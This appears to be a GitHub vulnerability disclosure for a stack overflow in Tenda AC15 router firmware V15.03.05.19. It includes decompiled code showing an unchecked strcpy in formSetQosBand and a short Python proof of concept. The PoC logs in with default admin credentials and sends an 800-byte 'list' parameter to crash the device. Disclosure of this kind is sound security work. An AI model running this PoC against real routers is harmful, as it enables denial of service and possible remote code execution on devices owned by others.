Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Tenda AC15 stack overflow vulnerability

* Version

V15.03.05.19 (US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin)

* Firmware

https://www.tenda.com.cn/download/detail-2680.html

* Vulnerability Detail

In function formSetQosBand->FUN_0007dd20, the content obtained by the program from the parameter "list" is passed to local_18, and then the local_18 as param_1 is passed to function FUN_0007dd20, then param_1 (local_14) is directly copied into the local_264 stack through the strcpy function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

void formSetQosBand(undefined4 param_1)
{
 
  local_18 = FUN_0002ba8c(param_1,"list",&DAT_000e250c);
  FUN_0007dd20(local_18,"bandwidth.mode",L'\n');
  local_5c = 0;
 ...
}

undefined4 FUN_0007dd20(char *param_1,undefined4 param_2,byte param_3)
{
  int iVar1;
  
  char *local_20;
  int local_1c;
  int local_18;
  char *local_14;
  
  memset(auStack100,0,0x40);
  memset(auStack356,0,0x100);
  memset(local_264,0,0x100);

  memset(auStack1676,0,0x400);

  memset(auStack1964,0,0x100);
  local_18 = 0;
  local_1c = 0;
  FUN_0007db3c();
  local_14 = param_1;
  do {
    while( true ) {
      local_20 = strchr(local_14,(uint)param_3);
      if (local_20 == (char *)0x0) goto LAB_0007e0a0;
      local_1c = 0;
      *local_20 = '\0';
      local_20 = local_20 + 1;
      memset(local_264,0,0x100);
      strcpy(local_264,local_14); //here is overflow
      if (local_264[0] == ';') {
        sscanf(local_264,";%[^;];%[^;];%[^;];%[^;];",&local_26c,&local_28c,&local_6ac,&local_69c);
      }
      else {
        sscanf(local_264,"%[^\r]\r%[^\r]\r%[^\r]\r%s",auStack1964,&local_28c,&local_6ac,&local_69c);
        local_1c = 1;
      }

* POC

import requests


cmd  = b'list=AAAAAAAAAAAA\n' + b'A' * 800


url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/SetNetControlList/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()